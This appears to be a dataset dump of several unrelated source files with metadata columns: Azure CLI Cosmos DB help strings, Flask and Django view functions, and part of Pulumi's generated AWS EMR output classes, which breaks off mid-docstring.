| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
3fe430dbf2b597b291fce0d83e69b38cabba3459
| 8,068
|
py
|
Python
|
src/cosmosdb-preview/azext_cosmosdb_preview/_help.py
|
ConnectionMaster/azure-cli-extensions
|
08d184f4efeac397c1ffcd21a83d651f4fad2782
|
[
"MIT"
] | 2
|
2021-06-05T17:51:26.000Z
|
2021-11-17T11:17:56.000Z
|
src/cosmosdb-preview/azext_cosmosdb_preview/_help.py
|
ConnectionMaster/azure-cli-extensions
|
08d184f4efeac397c1ffcd21a83d651f4fad2782
|
[
"MIT"
] | 1
|
2020-06-12T01:39:40.000Z
|
2020-06-12T01:39:40.000Z
|
src/cosmosdb-preview/azext_cosmosdb_preview/_help.py
|
ConnectionMaster/azure-cli-extensions
|
08d184f4efeac397c1ffcd21a83d651f4fad2782
|
[
"MIT"
] | null | null | null |
# coding=utf-8
# --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------------------------------
from knack.help_files import helps # pylint: disable=unused-import
helps['cosmosdb create'] = """
type: command
short-summary: Create a new Azure Cosmos DB database account.
parameters:
- name: --locations
short-summary: Add a location to the Cosmos DB database account
long-summary: |
Usage: --locations KEY=VALUE [KEY=VALUE ...]
Required Keys: regionName, failoverPriority
Optional Key: isZoneRedundant
Default: single region account in the location of the specified resource group.
Failover priority values are 0 for write regions and greater than 0 for read regions. A failover priority value must be unique and less than the total number of regions.
Multiple locations can be specified by using more than one `--locations` argument.
- name: --databases-to-restore
short-summary: Add a database and its collection names to restore
long-summary: |
Usage: --databases-to-restore name=DatabaseName collections=collection1 [collection2 ...]
examples:
- name: Create a new Azure Cosmos DB database account.
text: az cosmosdb create --name MyCosmosDBDatabaseAccount --resource-group MyResourceGroup --subscription MySubscription
- name: Create a new Azure Cosmos DB database account with two regions. UK South is zone redundant.
text: az cosmosdb create -n myaccount -g mygroup --locations regionName=eastus failoverPriority=0 isZoneRedundant=False --locations regionName=uksouth failoverPriority=1 isZoneRedundant=True --enable-multiple-write-locations
- name: Create a new Azure Cosmos DB database account by restoring from an existing account in the given location
text: az cosmosdb create -n restoredaccount -g mygroup --is-restore-request true --restore-source /subscriptions/2296c272-5d55-40d9-bc05-4d56dc2d7588/providers/Microsoft.DocumentDB/locations/westus/restorableDatabaseAccounts/d056a4f8-044a-436f-80c8-cd3edbc94c68 --restore-timestamp 2020-07-13T16:03:41+0000 --locations regionName=westus failoverPriority=0 isZoneRedundant=False
"""
helps['cosmosdb restore'] = """
type: command
short-summary: Create a new Azure Cosmos DB database account by restoring from an existing database account.
parameters:
- name: --databases-to-restore
short-summary: Add a database and its collection names to restore
long-summary: |
Usage: --databases-to-restore name=DatabaseName collections=collection1 [collection2 ...]
Multiple databases can be specified by using more than one `--databases-to-restore` argument.
examples:
- name: Create a new Azure Cosmos DB database account by restoring from an existing database account.
text: az cosmosdb restore --target-database-account-name MyRestoredCosmosDBDatabaseAccount --account-name MySourceAccount --restore-timestamp 2020-07-13T16:03:41+0000 -g MyResourceGroup --location westus
- name: Create a new Azure Cosmos DB database account by restoring only the selected databases and collections from an existing database account.
text: az cosmosdb restore -g MyResourceGroup --target-database-account-name MyRestoredCosmosDBDatabaseAccount --account-name MySourceAccount --restore-timestamp 2020-07-13T16:03:41+0000 --location westus --databases-to-restore name=MyDB1 collections=collection1 collection2 --databases-to-restore name=MyDB2 collections=collection3 collection4
"""
helps['cosmosdb update'] = """
type: command
short-summary: Update an Azure Cosmos DB database account.
parameters:
- name: --locations
short-summary: Add a location to the Cosmos DB database account
long-summary: |
Usage: --locations KEY=VALUE [KEY=VALUE ...]
Required Keys: regionName, failoverPriority
Optional Key: isZoneRedundant
Default: single region account in the location of the specified resource group.
Failover priority values are 0 for write regions and greater than 0 for read regions. A failover priority value must be unique and less than the total number of regions.
Multiple locations can be specified by using more than one `--locations` argument.
examples:
- name: Update an Azure Cosmos DB database account.
text: az cosmosdb update --capabilities EnableGremlin --name MyCosmosDBDatabaseAccount --resource-group MyResourceGroup
- name: Update an new Azure Cosmos DB database account with two regions. UK South is zone redundant.
text: az cosmosdb update -n myaccount -g mygroup --locations regionName=eastus failoverPriority=0 isZoneRedundant=False --locations regionName=uksouth failoverPriority=1 isZoneRedundant=True --enable-multiple-write-locations
- name: Update the backup policy parameters of a database account with Periodic backup type.
text: az cosmosdb update -n myaccount -g mygroup --backup-interval 240 --backup-retention 24
"""
helps['cosmosdb restorable-database-account'] = """
type: group
short-summary: Manage restorable Azure Cosmos DB accounts.
"""
helps['cosmosdb restorable-database-account list'] = """
type: command
short-summary: List all the database accounts that can be restored.
"""
helps['cosmosdb restorable-database-account show'] = """
type: command
short-summary: Show the details of a database account that can be restored.
"""
helps['cosmosdb sql restorable-database'] = """
type: group
short-summary: Manage different versions of sql databases that are restorable in a Azure Cosmos DB account.
"""
helps['cosmosdb sql restorable-database list'] = """
type: command
short-summary: List all the versions of all the sql databases that were created / modified / deleted in the given restorable account.
"""
helps['cosmosdb sql restorable-container'] = """
type: group
short-summary: Manage different versions of sql containers that are restorable in a database of a Azure Cosmos DB account.
"""
helps['cosmosdb sql restorable-container list'] = """
type: command
short-summary: List all the versions of all the sql containers that were created / modified / deleted in the given database and restorable account.
"""
helps['cosmosdb sql restorable-resource'] = """
type: group
short-summary: Manage the databases and its containers that can be restored in the given account at the given timesamp and region.
"""
helps['cosmosdb sql restorable-resource list'] = """
type: command
short-summary: List all the databases and its containers that can be restored in the given account at the given timesamp and region.
"""
helps['cosmosdb mongodb restorable-database'] = """
type: group
short-summary: Manage different versions of mongodb databases that are restorable in a Azure Cosmos DB account.
"""
helps['cosmosdb mongodb restorable-database list'] = """
type: command
short-summary: List all the versions of all the mongodb databases that were created / modified / deleted in the given restorable account.
"""
helps['cosmosdb mongodb restorable-collection'] = """
type: group
short-summary: Manage different versions of mongodb collections that are restorable in a database of a Azure Cosmos DB account.
"""
helps['cosmosdb mongodb restorable-collection list'] = """
type: command
short-summary: List all the versions of all the mongodb collections that were created / modified / deleted in the given database and restorable account.
"""
helps['cosmosdb mongodb restorable-resource'] = """
type: group
short-summary: Manage the databases and its collections that can be restored in the given account at the given timesamp and region.
"""
helps['cosmosdb mongodb restorable-resource list'] = """
type: command
short-summary: List all the databases and its collections that can be restored in the given account at the given timesamp and region.
"""
| 54.513514
| 381
| 0.746282
| 1,039
| 8,068
| 5.794033
| 0.184793
| 0.043854
| 0.032392
| 0.045847
| 0.80598
| 0.760299
| 0.737375
| 0.734718
| 0.700831
| 0.66196
| 0
| 0.017745
| 0.154809
| 8,068
| 147
| 382
| 54.884354
| 0.865083
| 0.046976
| 0
| 0.557377
| 0
| 0.180328
| 0.94741
| 0.118589
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.008197
| 0
| 0.008197
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
b767b807e1f902dbac9b58afc5f854bc3ba952b3
| 9,333
|
py
|
Python
|
bg_api/views/page.py
|
sluggard6/bgirl
|
3c9fa895189ef16442694830d0c05cf60ee5187b
|
[
"Apache-2.0"
] | null | null | null |
bg_api/views/page.py
|
sluggard6/bgirl
|
3c9fa895189ef16442694830d0c05cf60ee5187b
|
[
"Apache-2.0"
] | null | null | null |
bg_api/views/page.py
|
sluggard6/bgirl
|
3c9fa895189ef16442694830d0c05cf60ee5187b
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding:utf-8 -*-
from flask import Blueprint, request, g, render_template
from bg_biz.service.pic_service import pic_build
from bg_biz.orm.page import PageModule, PageContent
__author__ = [
'sluggrd'
]
PageView = Blueprint('page', __name__)
@PageView.route('/<page>', methods=['GET', 'POST'])
def page(page):
ms = PageModule.query.filter_by(page=page).filter_by(status=PageModule.Status.AVAILABLE).order_by(PageModule.rank.desc()).order_by(PageModule.id).all()
mds = [m.id for m in ms]
ccs = PageContent.query.filter(PageContent.module_id.in_(mds)).all()
mc = dict()
for pc in ccs:
if pc.module_id in mc:
cs = mc[pc.module_id]
else:
cs = []
cs.append(pc)
mc[pc.module_id]=cs
return render_template("page.json", ms=ms, mc=mc)
'''
{
"page": {
"modules": [
{
"category": "banner",
"items": [
{
"pic": "",
"group_id": "1",
"des": "测试文本"
}
]
},
{
"category": "the_two",
"items": [
{
"pic": {
"create_time": "2017-02-17 11:35:45",
"id": 41,
"max": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"min": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"modify_time": "2017-02-17 11:35:45",
"normal": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"title": "北包包"
},
"group_id": "1"
},
{
"pic": {
"create_time": "2017-02-17 11:35:45",
"id": 41,
"max": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"min": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"modify_time": "2017-02-17 11:35:45",
"normal": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"title": "北包包"
},
"group_id": "1"
}
]
},
{
"category": "title",
"text": "最优精选"
},
{
"category": "the_three",
"items": [
{
"pic": {
"create_time": "2017-02-17 11:35:45",
"id": 41,
"max": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"min": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"modify_time": "2017-02-17 11:35:45",
"normal": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"title": "北包包"
},
"group_id": "1",
"des": "测试文本"
},
{
"pic": {
"create_time": "2017-02-17 11:35:45",
"id": 41,
"max": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"min": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"modify_time": "2017-02-17 11:35:45",
"normal": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"title": "北包包"
},
"group_id": "1",
"des": "测试文本"
},
{
"pic": {
"create_time": "2017-02-17 11:35:45",
"id": 41,
"max": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"min": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"modify_time": "2017-02-17 11:35:45",
"normal": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"title": "北包包"
},
"group_id": "1",
"des": "测试文本"
}
]
},
{
"category": "the_three",
"items": [
{
"pic": {
"create_time": "2017-02-17 11:35:45",
"id": 41,
"max": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"min": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"modify_time": "2017-02-17 11:35:45",
"normal": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"title": "北包包"
},
"group_id": "1",
"des": "测试文本"
},
{
"pic": {
"create_time": "2017-02-17 11:35:45",
"id": 41,
"max": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"min": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"modify_time": "2017-02-17 11:35:45",
"normal": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"title": "北包包"
},
"group_id": "1",
"des": "测试文本"
},
{
"pic": {
"create_time": "2017-02-17 11:35:45",
"id": 41,
"max": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"min": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"modify_time": "2017-02-17 11:35:45",
"normal": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"title": "北包包"
},
"group_id": "1",
"des": "测试文本"
}
]
},
{
"category": "the_three",
"items": [
{
"pic": {
"create_time": "2017-02-17 11:35:45",
"id": 41,
"max": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"min": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"modify_time": "2017-02-17 11:35:45",
"normal": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"title": "北包包"
},
"group_id": "1",
"des": "测试文本"
},
{
"pic": {
"create_time": "2017-02-17 11:35:45",
"id": 41,
"max": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"min": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"modify_time": "2017-02-17 11:35:45",
"normal": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"title": "北包包"
},
"group_id": "1",
"des": "测试文本"
},
{
"pic": {
"create_time": "2017-02-17 11:35:45",
"id": 41,
"max": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"min": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"modify_time": "2017-02-17 11:35:45",
"normal": "http://test.rs.vogor.cn/image/2017/02/17/6f3e6672bce934d1.jpg",
"title": "北包包"
},
"group_id": "1",
"des": "测试文本"
}
]
}
]
}
}
'''
| 44.232227
| 155
| 0.355834
| 828
| 9,333
| 3.937198
| 0.109903
| 0.101227
| 0.134969
| 0.15184
| 0.824233
| 0.824233
| 0.824233
| 0.816258
| 0.816258
| 0.816258
| 0
| 0.200256
| 0.498661
| 9,333
| 211
| 156
| 44.232227
| 0.496474
| 0.002143
| 0
| 0
| 0
| 0
| 0.042289
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.047619
| false
| 0
| 0.142857
| 0
| 0.238095
| 0.095238
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
4d0f7c49714f332f1b20230e496b191a6841b5c8
| 130
|
py
|
Python
|
skl2onnx/algebra/_cache/__init__.py
|
xiaowuhu/sklearn-onnx
|
e85674a67a0a043e19c2ffe181e5d31eca8ce40b
|
[
"Apache-2.0"
] | 1
|
2021-12-13T18:00:56.000Z
|
2021-12-13T18:00:56.000Z
|
skl2onnx/algebra/_cache/__init__.py
|
xiaowuhu/sklearn-onnx
|
e85674a67a0a043e19c2ffe181e5d31eca8ce40b
|
[
"Apache-2.0"
] | null | null | null |
skl2onnx/algebra/_cache/__init__.py
|
xiaowuhu/sklearn-onnx
|
e85674a67a0a043e19c2ffe181e5d31eca8ce40b
|
[
"Apache-2.0"
] | 2
|
2020-08-20T06:27:36.000Z
|
2021-09-06T09:09:50.000Z
|
# SPDX-License-Identifier: Apache-2.0
import os
def cache_folder():
return os.path.abspath(os.path.dirname(__file__))
| 18.571429
| 54
| 0.707692
| 19
| 130
| 4.578947
| 0.842105
| 0.137931
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.018349
| 0.161538
| 130
| 6
| 55
| 21.666667
| 0.779817
| 0.269231
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
4d24a7cbe2d51988a0a151d719ef295d32b818e7
| 2,431
|
py
|
Python
|
project/application/views.py
|
vicinityh2020/vicinity-vas-energy-monitoring
|
1ffb51868abcc1b5b52ef27a056ba278cd0f7f65
|
[
"MIT"
] | null | null | null |
project/application/views.py
|
vicinityh2020/vicinity-vas-energy-monitoring
|
1ffb51868abcc1b5b52ef27a056ba278cd0f7f65
|
[
"MIT"
] | 3
|
2020-06-05T19:06:48.000Z
|
2021-06-10T20:58:13.000Z
|
project/application/views.py
|
vicinityh2020/vicinity-vas-energy-monitoring
|
1ffb51868abcc1b5b52ef27a056ba278cd0f7f65
|
[
"MIT"
] | null | null | null |
import pendulum
from django.http import JsonResponse
# Create your views here.
from application.models import SensorUsage
def water_usage(request, **kwargs):
response_obj = {
"units": "l",
"data": [],
"labels": []
}
period = kwargs['period']
dt = pendulum.from_timestamp(kwargs['timestamp'])
if period == 'day':
objects = SensorUsage.get_usage_by_day(dt, "W")
for obj in objects:
response_obj["data"].append(obj.value)
response_obj["labels"].append(f"{obj.datetime.hour}:{obj.datetime.minute}")
return JsonResponse(response_obj)
elif period == "month":
observations = SensorUsage.get_usage_by_month(dt, "W")
results = {
"data": {},
}
for observation in observations:
if observation.datetime.day not in results["labels"]:
results["labels"][observation.datetime.day] = observation.value
else:
results["labels"][observation.datetime.day] += observation.value
else:
return JsonResponse({
"error": "unknown period given, only day or month is supported"
})
return JsonResponse({
"Success": False,
"Error": "Unknown error"
})
def energy_usage(request, **kwargs):
response_obj = {
"units": "l",
"data": [],
"labels": []
}
period = kwargs['period']
dt = pendulum.from_timestamp(kwargs['timestamp'])
if period == 'day':
objects = SensorUsage.get_usage_by_day(dt, "P")
for obj in objects:
response_obj["data"].append(obj.value)
response_obj["labels"].append(f"{obj.datetime.hour}:{obj.datetime.minute}")
return JsonResponse(response_obj)
elif period == "month":
observations = SensorUsage.get_usage_by_day(dt, "P")
results = {
"data": {},
}
for observation in observations:
if observation.datetime.day not in results["labels"]:
results["labels"][observation.datetime.day] = observation.value
else:
results["labels"][observation.datetime.day] += observation.value
else:
return JsonResponse({
"error": "unknown period given, only day or month is supported"
})
return JsonResponse({
"Success": False,
"Error": "Unknown error"
})
| 30.012346
| 87
| 0.580831
| 248
| 2,431
| 5.596774
| 0.241935
| 0.063401
| 0.095101
| 0.060519
| 0.907061
| 0.907061
| 0.907061
| 0.902017
| 0.902017
| 0.902017
| 0
| 0
| 0.290004
| 2,431
| 81
| 88
| 30.012346
| 0.804171
| 0.009461
| 0
| 0.80597
| 0
| 0
| 0.162858
| 0.034067
| 0
| 0
| 0
| 0
| 0
| 1
| 0.029851
| false
| 0
| 0.044776
| 0
| 0.164179
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
4d42c11b7be8e1585a2e43c15c476b556a5ecfcf
| 114,899
|
py
|
Python
|
sdk/python/pulumi_aws/emr/outputs.py
|
alexbowers/pulumi-aws
|
7dbdb03b1e4f7c0d51d5b5d17233ff4465c3eff5
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
sdk/python/pulumi_aws/emr/outputs.py
|
alexbowers/pulumi-aws
|
7dbdb03b1e4f7c0d51d5b5d17233ff4465c3eff5
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
sdk/python/pulumi_aws/emr/outputs.py
|
alexbowers/pulumi-aws
|
7dbdb03b1e4f7c0d51d5b5d17233ff4465c3eff5
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
from . import outputs
__all__ = [
'ClusterBootstrapAction',
'ClusterCoreInstanceFleet',
'ClusterCoreInstanceFleetInstanceTypeConfig',
'ClusterCoreInstanceFleetInstanceTypeConfigConfiguration',
'ClusterCoreInstanceFleetInstanceTypeConfigEbsConfig',
'ClusterCoreInstanceFleetLaunchSpecifications',
'ClusterCoreInstanceFleetLaunchSpecificationsOnDemandSpecification',
'ClusterCoreInstanceFleetLaunchSpecificationsSpotSpecification',
'ClusterCoreInstanceGroup',
'ClusterCoreInstanceGroupEbsConfig',
'ClusterEc2Attributes',
'ClusterKerberosAttributes',
'ClusterMasterInstanceFleet',
'ClusterMasterInstanceFleetInstanceTypeConfig',
'ClusterMasterInstanceFleetInstanceTypeConfigConfiguration',
'ClusterMasterInstanceFleetInstanceTypeConfigEbsConfig',
'ClusterMasterInstanceFleetLaunchSpecifications',
'ClusterMasterInstanceFleetLaunchSpecificationsOnDemandSpecification',
'ClusterMasterInstanceFleetLaunchSpecificationsSpotSpecification',
'ClusterMasterInstanceGroup',
'ClusterMasterInstanceGroupEbsConfig',
'ClusterStep',
'ClusterStepHadoopJarStep',
'InstanceFleetInstanceTypeConfig',
'InstanceFleetInstanceTypeConfigConfiguration',
'InstanceFleetInstanceTypeConfigEbsConfig',
'InstanceFleetLaunchSpecifications',
'InstanceFleetLaunchSpecificationsOnDemandSpecification',
'InstanceFleetLaunchSpecificationsSpotSpecification',
'InstanceGroupEbsConfig',
'ManagedScalingPolicyComputeLimit',
]
@pulumi.output_type
class ClusterBootstrapAction(dict):
def __init__(__self__, *,
name: str,
path: str,
args: Optional[Sequence[str]] = None):
"""
:param str name: Friendly name given to the instance fleet.
:param str path: Location of the script to run during a bootstrap action. Can be either a location in Amazon S3 or on a local file system
:param Sequence[str] args: List of command line arguments passed to the JAR file's main function when executed.
"""
pulumi.set(__self__, "name", name)
pulumi.set(__self__, "path", path)
if args is not None:
pulumi.set(__self__, "args", args)
@property
@pulumi.getter
def name(self) -> str:
"""
Friendly name given to the instance fleet.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter
def path(self) -> str:
"""
Location of the script to run during a bootstrap action. Can be either a location in Amazon S3 or on a local file system
"""
return pulumi.get(self, "path")
@property
@pulumi.getter
def args(self) -> Optional[Sequence[str]]:
"""
List of command line arguments passed to the JAR file's main function when executed.
"""
return pulumi.get(self, "args")
@pulumi.output_type
class ClusterCoreInstanceFleet(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "instanceTypeConfigs":
suggest = "instance_type_configs"
elif key == "launchSpecifications":
suggest = "launch_specifications"
elif key == "provisionedOnDemandCapacity":
suggest = "provisioned_on_demand_capacity"
elif key == "provisionedSpotCapacity":
suggest = "provisioned_spot_capacity"
elif key == "targetOnDemandCapacity":
suggest = "target_on_demand_capacity"
elif key == "targetSpotCapacity":
suggest = "target_spot_capacity"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in ClusterCoreInstanceFleet. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
ClusterCoreInstanceFleet.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
ClusterCoreInstanceFleet.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
id: Optional[str] = None,
instance_type_configs: Optional[Sequence['outputs.ClusterCoreInstanceFleetInstanceTypeConfig']] = None,
launch_specifications: Optional['outputs.ClusterCoreInstanceFleetLaunchSpecifications'] = None,
name: Optional[str] = None,
provisioned_on_demand_capacity: Optional[int] = None,
provisioned_spot_capacity: Optional[int] = None,
target_on_demand_capacity: Optional[int] = None,
target_spot_capacity: Optional[int] = None):
"""
:param str id: The ID of the EMR Cluster
:param Sequence['ClusterCoreInstanceFleetInstanceTypeConfigArgs'] instance_type_configs: Configuration block for instance fleet
:param 'ClusterCoreInstanceFleetLaunchSpecificationsArgs' launch_specifications: Configuration block for launch specification
:param str name: Friendly name given to the instance fleet.
:param int target_on_demand_capacity: The target capacity of On-Demand units for the instance fleet, which determines how many On-Demand instances to provision.
:param int target_spot_capacity: The target capacity of Spot units for the instance fleet, which determines how many Spot instances to provision.
"""
if id is not None:
pulumi.set(__self__, "id", id)
if instance_type_configs is not None:
pulumi.set(__self__, "instance_type_configs", instance_type_configs)
if launch_specifications is not None:
pulumi.set(__self__, "launch_specifications", launch_specifications)
if name is not None:
pulumi.set(__self__, "name", name)
if provisioned_on_demand_capacity is not None:
pulumi.set(__self__, "provisioned_on_demand_capacity", provisioned_on_demand_capacity)
if provisioned_spot_capacity is not None:
pulumi.set(__self__, "provisioned_spot_capacity", provisioned_spot_capacity)
if target_on_demand_capacity is not None:
pulumi.set(__self__, "target_on_demand_capacity", target_on_demand_capacity)
if target_spot_capacity is not None:
pulumi.set(__self__, "target_spot_capacity", target_spot_capacity)
@property
@pulumi.getter
def id(self) -> Optional[str]:
"""
The ID of the EMR Cluster
"""
return pulumi.get(self, "id")
@property
@pulumi.getter(name="instanceTypeConfigs")
def instance_type_configs(self) -> Optional[Sequence['outputs.ClusterCoreInstanceFleetInstanceTypeConfig']]:
"""
Configuration block for instance fleet
"""
return pulumi.get(self, "instance_type_configs")
@property
@pulumi.getter(name="launchSpecifications")
def launch_specifications(self) -> Optional['outputs.ClusterCoreInstanceFleetLaunchSpecifications']:
"""
Configuration block for launch specification
"""
return pulumi.get(self, "launch_specifications")
@property
@pulumi.getter
def name(self) -> Optional[str]:
"""
Friendly name given to the instance fleet.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter(name="provisionedOnDemandCapacity")
def provisioned_on_demand_capacity(self) -> Optional[int]:
return pulumi.get(self, "provisioned_on_demand_capacity")
@property
@pulumi.getter(name="provisionedSpotCapacity")
def provisioned_spot_capacity(self) -> Optional[int]:
return pulumi.get(self, "provisioned_spot_capacity")
@property
@pulumi.getter(name="targetOnDemandCapacity")
def target_on_demand_capacity(self) -> Optional[int]:
"""
The target capacity of On-Demand units for the instance fleet, which determines how many On-Demand instances to provision.
"""
return pulumi.get(self, "target_on_demand_capacity")
@property
@pulumi.getter(name="targetSpotCapacity")
def target_spot_capacity(self) -> Optional[int]:
"""
The target capacity of Spot units for the instance fleet, which determines how many Spot instances to provision.
"""
return pulumi.get(self, "target_spot_capacity")
@pulumi.output_type
class ClusterCoreInstanceFleetInstanceTypeConfig(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "instanceType":
suggest = "instance_type"
elif key == "bidPrice":
suggest = "bid_price"
elif key == "bidPriceAsPercentageOfOnDemandPrice":
suggest = "bid_price_as_percentage_of_on_demand_price"
elif key == "ebsConfigs":
suggest = "ebs_configs"
elif key == "weightedCapacity":
suggest = "weighted_capacity"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in ClusterCoreInstanceFleetInstanceTypeConfig. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
ClusterCoreInstanceFleetInstanceTypeConfig.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
ClusterCoreInstanceFleetInstanceTypeConfig.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
instance_type: str,
bid_price: Optional[str] = None,
bid_price_as_percentage_of_on_demand_price: Optional[float] = None,
configurations: Optional[Sequence['outputs.ClusterCoreInstanceFleetInstanceTypeConfigConfiguration']] = None,
ebs_configs: Optional[Sequence['outputs.ClusterCoreInstanceFleetInstanceTypeConfigEbsConfig']] = None,
weighted_capacity: Optional[int] = None):
"""
:param str instance_type: An EC2 instance type, such as m4.xlarge.
:param str bid_price: The bid price for each EC2 Spot instance type as defined by `instance_type`. Expressed in USD. If neither `bid_price` nor `bid_price_as_percentage_of_on_demand_price` is provided, `bid_price_as_percentage_of_on_demand_price` defaults to 100%.
:param float bid_price_as_percentage_of_on_demand_price: The bid price, as a percentage of On-Demand price, for each EC2 Spot instance as defined by `instance_type`. Expressed as a number (for example, 20 specifies 20%). If neither `bid_price` nor `bid_price_as_percentage_of_on_demand_price` is provided, `bid_price_as_percentage_of_on_demand_price` defaults to 100%.
:param Sequence['ClusterCoreInstanceFleetInstanceTypeConfigConfigurationArgs'] configurations: A configuration classification that applies when provisioning cluster instances, which can include configurations for applications and software that run on the cluster. List of `configuration` blocks.
:param Sequence['ClusterCoreInstanceFleetInstanceTypeConfigEbsConfigArgs'] ebs_configs: Configuration block(s) for EBS volumes attached to each instance in the instance group. Detailed below.
:param int weighted_capacity: The number of units that a provisioned instance of this type provides toward fulfilling the target capacities defined in `emr.InstanceFleet`.
"""
pulumi.set(__self__, "instance_type", instance_type)
if bid_price is not None:
pulumi.set(__self__, "bid_price", bid_price)
if bid_price_as_percentage_of_on_demand_price is not None:
pulumi.set(__self__, "bid_price_as_percentage_of_on_demand_price", bid_price_as_percentage_of_on_demand_price)
if configurations is not None:
pulumi.set(__self__, "configurations", configurations)
if ebs_configs is not None:
pulumi.set(__self__, "ebs_configs", ebs_configs)
if weighted_capacity is not None:
pulumi.set(__self__, "weighted_capacity", weighted_capacity)
@property
@pulumi.getter(name="instanceType")
def instance_type(self) -> str:
"""
An EC2 instance type, such as m4.xlarge.
"""
return pulumi.get(self, "instance_type")
@property
@pulumi.getter(name="bidPrice")
def bid_price(self) -> Optional[str]:
"""
